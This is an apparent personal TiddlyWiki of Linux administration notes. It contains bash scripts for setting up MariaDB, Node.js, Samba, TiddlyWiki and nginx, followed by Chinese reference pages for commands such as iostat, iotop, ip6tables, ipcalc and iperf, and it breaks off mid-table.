    chown -R mysql.mysql ${data_dir}/ 
    chmod 770 ${data_dir}
    cd ${base_dir}
    ${base_dir}/scripts/mysql_install_db \
        --user=mysql \
        --basedir=${base_dir} \
        --datadir=${data_dir}
    mkdir ${log_dir}/
    chown mysql.mysql ${log_dir}
}

function manu_install(){
    mkdir ${src_dir}
    useradd -r mysql -s /sbin/nologin              >> ${ins_log} 2>&1
    echo "set locall yum repo source"
    set_local_yum                                  >> ${ins_log} 2>&1
    echo "disable selinux , disable firewalld"
    init_env                                       >> ${ins_log} 2>&1
    echo "create /etc/my.cnf "
    init_cnf                                       >> ${ins_log} 2>&1
    echo "init mariadb bin"
    init_bin                                       >> ${ins_log} 2>&1
    echo "init db datafiles"
    init_db                                        >> ${ins_log} 2>&1
    #echo "init system service"
    #init_service
    echo "init systemd unit"
    init_systemd                                   >> ${ins_log} 2>&1
    echo "start db unit"
    start_systemd                                  >> ${ins_log} 2>&1
}

manu_install
```
```bash
function npm_install(){
    wget https://nodejs.org/dist/v10.15.0/node-v10.15.0-linux-x64.tar.xz
    tar xf node-v10.15.0-linux-x64.tar.xz -C /usr/local/
    ln -s /usr/local/node-v10.15.0-linux-x64/ /usr/local/node
    echo "PATH=/usr/local/node/bin:$PATH" >> /etc/profile.d/env.sh
    . /etc/profile.d/env.sh
}
```
```bash


function install(){
    yum install -y samba samba-client cifs-common
}

function set_selinux_tag(){
    path=$1
    if [ `getenforce` = "Enforcing" ];then
        echo "check semanage ..."
        rpm -qa | grep -q policycoreutils-python || yum -y install policycoreutils-python
        echo "set samba_share_t"
        semanage fcontext -a -t samba_share_t '${path}(/.*)?'
    else
        echo "selinux has been disabled , pass"
    fi
}

function add_smb_user(){
    if ! `pdbedit -L | grep -q ${user}`;then
        useradd -r -s /sbin/nologin ${user}
        smbpasswd -a ${user}
    fi
}

function set_user_mod(){
    user=$1
    mod=$2
    path=$3
    setfacl -m u:${user}:${mod} ${path}
}

function set_usershare_conf(){
    conf_path=/etc/samba/smb.conf
    cat >> ${conf_path} <<-EOF
    [${share_name}]
    path        =${path}
    writable    =yes
    read only   =no
    browsable   =yes
    valid users =${user}
EOF
    sed -i 's/^\ *//g' ${conf_path}
    set_selinux_tag ${path}
}

function set_annoshare_conf(){
    path=$1
    share_name=$2
    conf_path=/etc/samba/smb.conf

    [ ! -d ${path} ] && mkdir -pv ${path}
    
    if  `grep -q ${share_name} ${conf_path}` || `grep -q ${path} ${conf_path}` ;then
        echo "${share_name} or ${path} exist, pass"
    else
        cat >> ${conf_path} <<-EOF
        [${share_name}]
        path        =${path}
        public      =yes
        writable    =yes
EOF
        sed -i 's/^\ *//g' ${conf_path}
        #set_user_mod nobody rwx ${path}
        chmod 777 ${path}
        chown nobody.nobody ${path}
        set_selinux_tag ${path}
    fi
}
```
{{install-npm}}

```bash
function install_tiddlywiki(){
    npm_install
    npm install -g tiddlywiki
}

function start_tiddlywiki(){
    wiki_path=$1
    tiddlywiki ${wiki_path} --listen
}
```

```bash
function create_nginx_conf(){
cat >> /etc/nginx/conf.d/twiki.conf <<-EOF
server {
    listen           80;
    server_name      mydomain.tld;
    # vhost specific logs
    access_log       /var/log/nginx/mydomain.tld.access.log combined;
    location / {
        proxy_pass   http://127.0.0.1:8080;
        proxy_set_header        Host             $host;
        proxy_set_header        X-Real-IP        $remote_addr;
        proxy_set_header        X-Forwarded-For  $proxy_add_x_forwarded_for; 
    }
}
EOF 
}

service nginx restart
chkconfig nginx on
```


```bash
cat >> /etc/init.d/tiddlywiki <<- EOF
## vim /etc/init.d/tiddlywiki
#!/bin/sh

#
# chkconfig: 35 99 99
# description: tiddlywiki
#

. /etc/rc.d/init.d/functions

USER="tiddlywiki"

DAEMON="/usr/local/bin/tiddlywiki"
PARAMS="--server"

LOCK_FILE="/var/lock/subsys/tiddlywiki"

do_start()
{
        if [ ! -f "$LOCK_FILE" ] ; then
                echo -n $"Starting $SERVER: "
                runuser -l "$USER" -c "$DAEMON $PARAMS &" && echo_success || echo_failure
                RETVAL=$?
                echo
                [ $RETVAL -eq 0 ] && touch $LOCK_FILE
        else
                echo "$SERVER is locked."
                RETVAL=1
        fi
}
do_stop()
{
        echo -n $"Stopping $SERVER: "
        pid=`ps -aefw | grep "$DAEMON $SERVER" | grep -v " grep " | awk '{print $2}'`
        kill -9 $pid > /dev/null 2>&1 && echo_success || echo_failure
        RETVAL=$?
        echo
        [ $RETVAL -eq 0 ] && rm -f $LOCK_FILE
}

case "$1" in
        start)
                do_start
                ;;
        stop)
                do_stop
                ;;
        restart)
                do_stop
                do_start
                ;;
        *)
                echo "Usage: $0 {start|stop|restart}"
                RETVAL=1
esac

exit $RETVAL
EOF

chmod +x /etc/init.d/tiddlywiki
chkconfig tiddlywiki on
* install<pre>

```bash
yum install inxi -y
```
</pre>

* option <pre>

```bash
-a, --admin  
-A, --audio  
-b, --basic  
-B, --battery
-c, --color  
-C, --cpu
-d, --disk-full, --op
-D, --disk   
-f, --flags  
-F, --full   
-G, --graphics   
-i, --ip 
-I, --info   
-l, --label  
-m, --memory 
-M, --machine
-n, --network-advance
-N, --network
-o, --unmounted  
-p, --partitions-full
-P, --partitions 
-r, --repos  
-R, --raid   
-s, --sensors
--slots  
-S, --system 
-t, --processes  
--usb
-u, --uuid   
-v, --verbosity  
```
</pre>
!简介 
:<div>

iostat命令被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况,同时也会汇报出CPU使用情况。

同vmstat一样,iostat也有一个弱点,就是它不能对某个进程进行深入分析,仅对系统的整体情况进行分析。
</div>


! 选项 
:<div>

|!选项|!说明|
|-c|仅显示CPU使用情况|
|-d|仅显示设备利用率|
|-k|显示状态以千字节每秒为单位,而不使用块每秒|
|-m|显示状态以兆字节每秒为单位|
|-p|仅显示块设备和所有被使用的其他分区的状态|
|-t|显示每个报告产生时的时间|
|-V|显示版号并退出|
|-x|显示扩展状态|
</div>


!字段说明 
:<div>

|!标示		|!说明                             |
|Device		|监测设备名称                      |
|rrqm/s		|每秒需要读取需求的数量            |
|wrqm/s		|每秒需要写入需求的数量            |
|r/s 		|每秒实际读取需求的数量            |
|w/s		|每秒实际写入需求的数量            |
|rsec/s		|每秒读取区段的数量                |
|wsec/s		|每秒写入区段的数量                |
|rkB/s		|每秒实际读取的大小,单位为KB      |
|wkB/s		|每秒实际写入的大小,单位为KB      |
|avgrq-sz	|需求的平均大小区段                |
|avgqu-sz	|需求的平均队列长度                |
|await		|等待I/O平均的时间(milliseconds) |
|svctm		|I/O需求完成的平均时间             |
|%util		|被I/O需求消耗的CPU百分比          |
</div>


!!简介
:<div>
iotop
===

用来监视磁盘I/O使用状况的工具

</div>

!! 补充说明

:<div>


"iotop命令" 是一个用来监视磁盘I/O使用状况的top类工具。iotop具有与top相似的UI,其中包括PID、用户、I/O、进程等相关信息。Linux下的IO统计工具如iostat,nmon等大多数是只能统计到per设备的读写情况,如果你想知道每个进程是如何使用IO的就比较麻烦,使用iotop命令可以很方便的查看。

iotop使用Python语言编写而成,要求Python2.5(及以上版本)和Linux kernel2.6.20(及以上版本)。iotop提供有源代码及rpm包,可从其官方主页下载。

</div>

!! 安装  

:<div>


 "Ubuntu" 

```
apt-get install iotop
```

 "CentOS" 

```
yum install iotop
```

 "编译安装" 

```
wget http://guichaz.free.fr/iotop/files/iotop-0.4.4.tar.gz    
tar zxf iotop-0.4.4.tar.gz    
python setup.py build    
python setup.py install    

```

</div>

!! 语法  

:<div>


```
iotop(选项)
```

</div>

!! 选项  

:<div>


```
-o:只显示有io操作的进程
-b:批量显示,无交互,主要用作记录到文件。
-n NUM:显示NUM次,主要用于非交互式模式。
-d SEC:间隔SEC秒显示一次。
-p PID:监控的进程pid。
-u USER:监控的进程用户。
```

 "iotop常用快捷键:" 

1.  左右箭头:改变排序方式,默认是按IO排序。
2.  r:改变排序顺序。
3.  o:只显示有IO输出的进程。
4.  p:进程/线程的显示方式的切换。
5.  a:显示累积使用量。
6.  q:退出。

</div>

!! 实例  

:<div>


直接执行iotop就可以看到效果了:

```
Total DISK read:       0.00 B/s | Total DISK write:       0.00 B/s
  TID  PRIO  USER     DISK READ  DISK WRITE  SWAPIN     IO>    command
    1 be/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % init [3]
    2 be/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [kthreadd]
    3 rt/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [migration/0]
    4 be/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [ksoftirqd/0]
    5 rt/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [watchdog/0]
    6 rt/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [migration/1]
    7 be/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [ksoftirqd/1]
    8 rt/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [watchdog/1]
    9 be/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [events/0]
   10 be/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [events/1]
   11 be/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [khelper]
2572 be/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [bluetooth]
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* EXP<pre>

```bash
# Display all interfaces with addresses
ip addr

# Take down / up the wireless adapter
ip link set dev wlan0 {up|down}

# Set a static IP and netmask
ip addr add 192.168.1.100/32 dev eth0

# Remove a IP from an interface
ip addr del 192.168.1.100/32 dev eth0

# Remove all IPs from an interface
ip address flush dev eth0

# Display all routes
ip route

# Display all routes for IPv6
ip -6 route

# Add default route via gateway IP
ip route add default via 192.168.1.1

# Add route via interface
ip route add 192.168.0.0/24 dev eth0

# Change your mac address 
ip link set dev eth0 address aa:bb:cc:dd:ee:ff

# View neighbors (using ARP and NDP) 
ip neighbor show
```
</pre>
!!简介
:<div>
ip6tables
===

linux中防火墙软件

</div>

!! 补充说明

:<div>


"ip6tables命令" 和iptables一样,都是linux中防火墙软件,不同的是ip6tables采用的TCP/ip协议为IPv6。

</div>

!! 语法  

:<div>


```
ip6tables(选项)
```

</div>

!! 选项  

:<div>


```
-t<表>:指定要操纵的表;
-A:向规则链中添加条目;
-D:从规则链中删除条目;
-i:向规则链中插入条目;
-R:替换规则链中的条目;
-L:显示规则链中已有的条目;
-F:清楚规则链中已有的条目;
-Z:清空规则链中的数据包计算器和字节计数器;
-N:创建新的用户自定义规则链;
-P:定义规则链中的默认目标;
-h:显示帮助信息;
-p:指定要匹配的数据包协议类型;
-s:指定要匹配的数据包源ip地址;
-j<目标>:指定要跳转的目标;
-i<网络接口>:指定数据包进入本机的网络接口;
-o<网络接口>:指定数据包要离开本机所使用的网络接口。
-c<计数器>:在执行插入操作(insert),追加操作(append),替换操作(replace)时初始化包计数器和字节计数器。
```

</div>

!! 实例  

:<div>


在命令行窗口输入下面的指令就可以查看当前的 IPv6 防火墙配置:

```
ip6tables -nl --line-numbers
```

 "/etc/sysconfig/ip6tables文件" 

使用编辑器编辑`/etc/sysconfig/ip6tables`文件:

```
vi /etc/sysconfig/ip6tables
```

可能会看到下面的默认 ip6tables 规则:

```
*filter
:INPUT accept [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:RH-Firewall-1-INPUT - [0:0]
-A INPUT -j RH-Firewall-1-INPUT
-A FORWARD -j RH-Firewall-1-INPUT
-A RH-Firewall-1-INPUT -i lo -j ACCEPT
-A RH-Firewall-1-INPUT -p icmpv6 -j ACCEPT
-A RH-Firewall-1-INPUT -p 50 -j ACCEPT
-A RH-Firewall-1-INPUT -p 51 -j ACCEPT
-A RH-Firewall-1-INPUT -p udp --dport 5353 -d ff02::fb -j ACCEPT
-A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT
-A RH-Firewall-1-INPUT -p udp -m udp --dport 32768:61000 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m tcp --dport 32768:61000 ! --syn -j ACCEPT
-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 22 -j ACCEPT
-A RH-Firewall-1-INPUT -j reject --reject-with icmp6-adm-prohibited
COMMIT
```

与 IPv4 的 iptables 规则类似,但又不完全相同。

要开启 80 端口(HTTP 服务器端口),在 COMMIT 一行之前添加如下规则:

```
-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 80 -j ACCEPT
```

`-p tcp`表示仅针对 tcp 协议的通信。`--dport`指定端口号。

要开启 53 端口(DNS 服务器端口),在 COMMIT 一行之前添加如下规则:

```
-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 53 -j ACCEPT
-A RH-Firewall-1-INPUT -m udp -p tcp --dport 53 -j ACCEPT
```

同时针对 tcp 和 udp 协议开启 53 端口。

要开启 443 端口,在 COMMIT 一行之前添加如下规则:

```
-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 443 -j ACCEPT
```

要开启 25 端口(SMTP 邮件服务器端口),在 COMMIT 一行之前添加如下规则:

```
-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 25 -j ACCEPT
```

对于那些没有特定规则与之匹配的数据包,可能是我们不想要的,多半是有问题的。我们可能也希望在丢弃(DROP)之前记录它们。此时,可以将最后一行:

```
-A RH-Firewall-1-INPUT -j REJECT --reject-with icmp6-adm-prohibited
COMMIT
```

改为:

```
-A RH-Firewall-1-INPUT -j LOG
-A RH-Firewall-1-INPUT -j DROP
COMMIT
```

保存并关闭该文件。然后重新启动 ip6tables 防火墙:

```
# service ip6tables restart
```

然后重新查看 ip6tables 规则,可以看到如下所示的输出:

```
# ip6tables -vnL --line-numbers
```

输出示例:

```
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
num   pkts bytes target     prot opt in     out     source               destination
1    42237 3243K RH-Firewall-1-INPUT  all      *      *       ::/0                 ::/0
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
num   pkts bytes target     prot opt in     out     source               destination
1        0     0 RH-Firewall-1-INPUT  all      *      *       ::/0                 ::/0
Chain OUTPUT (policy ACCEPT 12557 packets, 2042K bytes)
num   pkts bytes target     prot opt in     out     source               destination
Chain RH-Firewall-1-INPUT (2 references)
num   pkts bytes target     prot opt in     out     source               destination
1        6   656 ACCEPT     all      lo     *       ::/0                 ::/0
2    37519 2730K ACCEPT     icmpv6    *      *       ::/0                 ::/0
3        0     0 ACCEPT     esp      *      *       ::/0                 ::/0
4        0     0 ACCEPT     ah       *      *       ::/0                 ::/0
5      413 48385 ACCEPT     udp      *      *       ::/0                 ff02::fb/128       udp dpt:5353
6        0     0 ACCEPT     udp      *      *       ::/0                 ::/0               udp dpt:631
7        0     0 ACCEPT     tcp      *      *       ::/0                 ::/0               tcp dpt:631
8      173 79521 ACCEPT     udp      *      *       ::/0                 ::/0               udp dpts:32768:61000
9        0     0 ACCEPT     tcp      *      *       ::/0                 ::/0               tcp dpts:32768:61000 flags:!0x16/0x02
10       0     0 ACCEPT     tcp      *      *       ::/0                 ::/0               tcp dpt:22
11       0     0 ACCEPT     tcp      *      *       ::/0                 ::/0               tcp dpt:80
12       0     0 ACCEPT     tcp      *      *       ::/0                 ::/0               tcp dpt:53
13    4108  380K ACCEPT     udp      *      *       ::/0                 ::/0               udp dpt:53
14      18  4196 REJECT     all      *      *       ::/0                 ::/0
```

 "IPv6 私有 IP" 

IPv4 通常默认即可保护内部局域网私有 IP 上的主机。但是 IPv6 的地址非常丰富,不再需要使用类似 NAT 等协议的私有网络。这样一来,所有的内部主机都可以拥有公网 IP 而直接连接到互联网,也就同时暴露于互联网上的各种威胁之中了。那么,如何配置 IPv6 防火墙使其默认将除了 ping6 请求之外的所有输入数据包都丢弃呢?可以使用FC00::/7 前缀来标识本地 IPv6 单播地址。

 "允许特定的 ICMPv6 通信" 

使用 IPv6 的时候需要允许比 IPv4 更多类型的 ICMP 通信以保证路由和 IP 地址自动配置等功能正常工作。有时候,如果你的规则设置太过苛刻,可能都无法分配到正确的 IPv6 地址。当然,不使用 DHCP 而是手动配置 IP 地址的除外。

下面是一些比较常见的 ipv6-icmp 配置实例:

```
:ICMPv6 - [0:0]
# Approve certain ICMPv6 types and all outgoing ICMPv6
# http://forum.linode.com/viewtopic.php?p=39840#39840
-A INPUT -p icmpv6 -j ICMPv6
-A ICMPv6 -p icmpv6 --icmpv6-type echo-request -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type destination-unreachable -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type packet-too-big -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type time-exceeded -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type parameter-problem -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type router-solicitation -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type router-advertisement -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type neighbour-solicitation -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type neighbour-advertisement -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type redirect -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type 141 -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type 142 -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type 148 -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type 149 -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type 130 -s fe80::/10 -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type 131 -s fe80::/10 -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type 132 -s fe80::/10 -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type 143 -s fe80::/10 -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type 151 -s fe80::/10 -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type 152 -s fe80::/10 -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type 153 -s fe80::/10 -j ACCEPT
-A ICMPv6 -j RETURN
-A OUTPUT -p icmpv6 -j ACCEPT
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
ip6tables-restore
===

还原ip6tables表

</div>

!! 补充说明

:<div>


"ip6tables-restore命令" 用来还原ip6tables表。

</div>

!! 语法  

:<div>


```
ip6tables-restore(选项)
```

</div>

!! 选项  

:<div>


```
-c:指定在还原iptables表时,还原当前的数据包计数器和字节计数器值;
-t:指定要还原的表的名称。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
ip6tables-save
===

保存ip6tables表配置

</div>

!! 补充说明

:<div>


"ip6tables-save命令" 将Linux内核中ip6tables表导出到标准输出设备上。

</div>

!! 语法  

:<div>


```
ip6tables-save(选项)
```

</div>

!! 选项  

:<div>


```
-c:指定在保存iptables表时,保存当前的数据包计数器和字节计数器值;
-t:指定要保存的表的名称。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
ipcalc
===

简单的IP地址计算器

</div>

!! 补充说明

:<div>


"ipcalc命令" 是一个简单的ip地址计算器,可以完成简单的IP地址计算任务。

</div>

!! 语法  

:<div>


```
ipcalc(选项)
```

</div>

!! 选项  

:<div>


```
-b:由给定的IP地址和网络掩码计算出广播地址;
-h:显示给定UP地址所对应的主机名;
-m:由给定的IP地址计算器网络掩码;
-p:显示给定的掩码或IP地址的前缀;
-n:由给定的IP地址和网络掩码计算网络地址;
-s:安静模式;
--help:显示帮助信息。
```

</div>

!! 实例  

:<div>


```
[root@localhost ~]# ipcalc -p 192.168.2.1 255.255.255.0
PREFIX=24

[root@localhost ~]# ipcalc -n 192.168.2.1 255.255.255.0
NETWORK=192.168.2.0

[root@localhost ~]# ipcalc -h 127.0.0.1
hostname=localhost.localdomain

[root@localhost ~]# ipcalc -m 192.168.2.1
NETMASK=255.255.255.0

[root@localhost ~]# ipcalc -pnbm 192.168.2.1 255.255.255.0
NETMASK=255.255.255.0
PREFIX=24
BROADCAST=192.168.2.255
NETWORK=192.168.2.0
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
ipcrm
===

删除消息队列、信号集、或者共享内存标识

</div>

!! 补充说明

:<div>


"ipcrm命令" 用来删除一个或更多的消息队列、信号量集或者共享内存标识。

</div>

!! 语法  

:<div>


```
ipcrm [ -m SharedMemoryID ] [ -M SharedMemoryKey ] [ -q MessageID ] [ -Q MessageKey ] [ -s SemaphoreID ] [ -S SemaphoreKey ]
```

</div>

!! 选项  

:<div>


```
-m SharedMemory id 删除共享内存标识 SharedMemoryID。与 SharedMemoryID 有关联的共享内存段以及数据结构都会在最后一次拆离操作后删除。
-M SharedMemoryKey 删除用关键字 SharedMemoryKey 创建的共享内存标识。与其相关的共享内存段和数据结构段都将在最后一次拆离操作后删除。
-q MessageID 删除消息队列标识 MessageID 和与其相关的消息队列和数据结构。
-Q MessageKey 删除由关键字 MessageKey 创建的消息队列标识和与其相关的消息队列和数据结构。
-s SemaphoreID 删除信号量标识 SemaphoreID 和与其相关的信号量集及数据结构。
-S SemaphoreKey 删除由关键字 SemaphoreKey 创建的信号标识和与其相关的信号量集和数据结构。
```

msgctl、shmctl 和 semctl 子例程提供了删除操作的细节。标识和关键字可以用 ipcs 命令找到。

</div>

!! 示例  

:<div>


如果要删除和 SharedMemoryID 18602 相关的共享内存段,请输入:

```
ipcrm -m 18602
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
ipcs
===

分析消息队列共享内存和信号量 

</div>

!! 补充说明

:<div>


"ipcs命令" 用于报告Linux中进程间通信设施的状态,显示的信息包括消息列表、共享内存和信号量的信息。

</div>

!! 语法  

:<div>


```
ipcs(选项)
```

</div>

!! 选项  

:<div>


```
-a:显示全部可显示的信息;
-q:显示活动的消息队列信息;
-m:显示活动的共享内存信息;
-s:显示活动的信号量信息。
```

</div>

!! 实例  

:<div>


```
ipcs -a
------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status      
0x7401833d 2654208    root      600        4          0                       
0x00000000 3145729    root      600        4194304    9          dest         
0x7401833c 2621442    root      600        4          0                       
0xd201012b 3080195    root      600        1720       2
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
iperf
===

网络性能测试工具

</div>

!! 补充说明

:<div>


"iperf命令" 是一个网络性能测试工具。iperf可以测试TCP和UDP带宽质量。iperf可以测量最大TCP带宽,具有多种参数和UDP特性。iperf可以报告带宽,延迟抖动和数据包丢失。利用iperf这一特性,可以用来测试一些网络设备如路由器,防火墙,交换机等的性能。

iperf分为两种版本,Unix/Linux版和Windows版,Unix/Linux版更新比较快,版本最新。Windows版更新慢。Windows版的iperf叫jperf,或者xjperf。jperf是在iperf基础上开发了更好的UI和新的功能。

Linux版本下载地址:http://code.google.com/p/iperf/downloads/list

</div>

!! 安装iperf  

:<div>


对于windows版的iperf,直接将解压出来的iperf.exe和cygwin1.dll复制到%systemroot%目录即可,对于linux版的iperf,请使用如下命令安装:

```
gunzip -c iperf-<version>.tar.gz | tar -xvf -
cd iperf-<version>
./configure
make
make install
```

</div>

!! 选项  

:<div>


<table>

<tbody>

<tr>

<th>命令行选项</th>

<th>描述</th>

</tr>

<tr>

<td>客户端与服务器共用选项</td>

</tr>

<tr>

<td>-f, --format [bkmaBKMA]</td>

<td>格式化带宽数输出。支持的格式有:  
'b' = bits/sec 'B' = Bytes/sec  
'k' = Kbits/sec 'K' = KBytes/sec  
'm' = Mbits/sec 'M' = MBytes/sec  
'g' = Gbits/sec 'G' = GBytes/sec  
'a' = adaptive bits/sec 'A' = adaptive Bytes/sec  
自适应格式是kilo-和mega-二者之一。除了带宽之外的字段都输出为字节,除非指定输出的格式,默认的参数是a。  
注意:在计算字节byte时,Kilo = 1024, Mega = 1024^2,Giga = 1024^3。通常,在网络中,Kilo = 1000, Mega = 1000^2, and Giga = 1000^3,所以,Iperf也按此来计算比特(位)。如果这些困扰了你,那么请使用-f b参数,然后亲自计算一下。</td>

</tr>

<tr>

<td>-i, --interval #</td>

<td>设置每次报告之间的时间间隔,单位为秒。如果设置为非零值,就会按照此时间间隔输出测试报告。默认值为零。</td>

</tr>

<tr>

<td>-l, --len #[KM]</td>

<td>设置读写缓冲区的长度。TCP方式默认为8KB,UDP方式默认为1470字节。</td>

</tr>

<tr>

<td>-m, --print_mss</td>

<td>输出TCP MSS值(通过TCP_MAXSEG支持)。MSS值一般比MTU值小40字节。通常情况</td>

</tr>

<tr>

<td>-p, --port #</td>

<td>设置端口,与服务器端的监听端口一致。默认是5001端口,与ttcp的一样。</td>

</tr>

<tr>

<td>-u, --udp</td>

<td>使用UDP方式而不是TCP方式。参看-b选项。</td>

</tr>

<tr>

<td>-w, --window #[KM]</td>

<td>设置套接字缓冲区为指定大小。对于TCP方式,此设置为TCP窗口大小。对于UDP方式,此设置为接受UDP数据包的缓冲区大小,限制可以接受数据包的最大值。</td>

</tr>

<tr>

<td>-B, --bind host</td>

<td>绑定到主机的多个地址中的一个。对于客户端来说,这个参数设置了出栈接口。对于服务器端来说,这个参数设置入栈接口。这个参数只用于具有多网络接口的主机。在Iperf的UDP模式下,此参数用于绑定和加入一个多播组。使用范围在224.0.0.0至239.255.255.255的多播地址。参考-T参数。</td>

</tr>

<tr>

<td>-C, --compatibility</td>

<td>与低版本的Iperf使用时,可以使用兼容模式。不需要两端同时使用兼容模式,但是强烈推荐两端同时使用兼容模式。某些情况下,使用某些数据流可以引起1.7版本的服务器端崩溃或引起非预期的连接尝试。</td>

</tr>

<tr>

<td>-M, --mss #ip头减去40字节。在以太网中,MSS值 为1460字节(MTU1500字节)。许多操作系统不支持此选项。</td>

</tr>

<tr>

<td>-N, --nodelay</td>

<td>设置TCP无延迟选项,禁用Nagle's运算法则。通常情况此选项对于交互程序,例如telnet,是禁用的。</td>

</tr>

<tr>

<td>-V (from v1.6 or higher)</td>

<td>绑定一个IPv6地址。  
服务端:$ iperf -s –V  
客户端:$ iperf -c <Server IPv6 Address> -V  
注意:在1.6.3或更高版本中,指定IPv6地址不需要使用-B参数绑定,在1.6之前的版本则需要。在大多数操作系统中,将响应IPv4客户端映射的IPv4地址。</td>

</tr>

<tr>

<td>服务器端专用选项</td>

</tr>

<tr>

<td>-s, --server</td>

<td>Iperf服务器模式</td>

</tr>

<tr>

<td>-D (v1.2或更高版本)</td>

<td>Unix平台下Iperf作为后台守护进程运行。在Win32平台下,Iperf将作为服务运行。</td>

</tr>

<tr>

<td>-R(v1.2或更高版本,仅用于Windows)</td>

<td>卸载Iperf服务(如果它在运行)。</td>

</tr>

<tr>

<td>-o(v1.2或更高版本,仅用于Windows)</td>

<td>重定向输出到指定文件</td>

</tr>

<tr>

<td>-c, --client host</td>

<td>如果Iperf运行在服务器模式,并且用-c参数指定一个主机,那么Iperf将只接受指定主机的连接。此参数不能工作于UDP模式。</td>

</tr>

<tr>

<td>-P, --parallel #</td>

<td>服务器关闭之前保持的连接数。默认是0,这意味着永远接受连接。</td>

</tr>

<tr>

<td>客户端专用选项</td>

</tr>

<tr>

<td>-b, --bandwidth #[KM]</td>

<td>UDP模式使用的带宽,单位bits/sec。此选项与-u选项相关。默认值是1 Mbit/sec。</td>

</tr>

<tr>

<td>-c, --client host</td>

<td>运行Iperf的客户端模式,连接到指定的Iperf服务器端。</td>

</tr>

<tr>

<td>-d, --dualtest</td>

<td>运行双测试模式。这将使服务器端反向连接到客户端,使用-L 参数中指定的端口(或默认使用客户端连接到服务器端的端口)。这些在操作的同时就立即完成了。如果你想要一个交互的测试,请尝试-r参数。</td>

</tr>

<tr>

<td>-n, --num #[KM]</td>

<td>传送的缓冲器数量。通常情况,Iperf按照10秒钟发送数据。-n参数跨越此限制,按照指定次数发送指定长度的数据,而不论该操作耗费多少时间。参考-l与-t选项。</td>

</tr>

<tr>

<td>-r, --tradeoff</td>

<td>往复测试模式。当客户端到服务器端的测试结束时,服务器端通过-l选项指定的端口(或默认为客户端连接到服务器端的端口),反向连接至客户端。当客户端连接终止时,反向连接随即开始。如果需要同时进行双向测试,请尝试-d参数。</td>

</tr>

<tr>

<td>-t, --time #</td>

<td>设置传输的总时间。Iperf在指定的时间内,重复的发送指定长度的数据包。默认是10秒钟。参考-l与-n选项。</td>

</tr>

<tr>

<td>-L, --listenport #</td>

<td>指定服务端反向连接到客户端时使用的端口。默认使用客户端连接至服务端的端口。</td>

</tr>

<tr>

<td>-P, --parallel #</td>

<td>线程数。指定客户端与服务端之间使用的线程数。默认是1线程。需要客户端与服务器端同时使用此参数。</td>

</tr>

<tr>

<td>-S, --tos #</td>

<td>出栈数据包的服务类型。许多路由器忽略TOS字段。你可以指定这个值,使用以"0x"开始的16进制数,或以"0"开始的8进制数或10进制数。  
例如,16进制'0x10' = 8进制'020' = 十进制'16'。TOS值1349就是:  
IPTOS_LOWDELAY minimize delay 0x10  
IPTOS_THROUGHPUT maximize throughput 0x08  
IPTOS_RELIABILITY maximize reliability 0x04  
IPTOS_LOWCOST minimize cost 0x02</td>

</tr>

<tr>

<td>-T, --ttl #</td>

<td>出栈多播数据包的TTL值。这本质上就是数据通过路由器的跳数。默认是1,链接本地。</td>

</tr>

<tr>

<td>-F (from v1.2 or higher)</td>

<td>使用特定的数据流测量带宽,例如指定的文件。  
$ iperf -c <server address> -F <file-name></td>

</tr>

<tr>

<td>-I (from v1.2 or higher)</td>
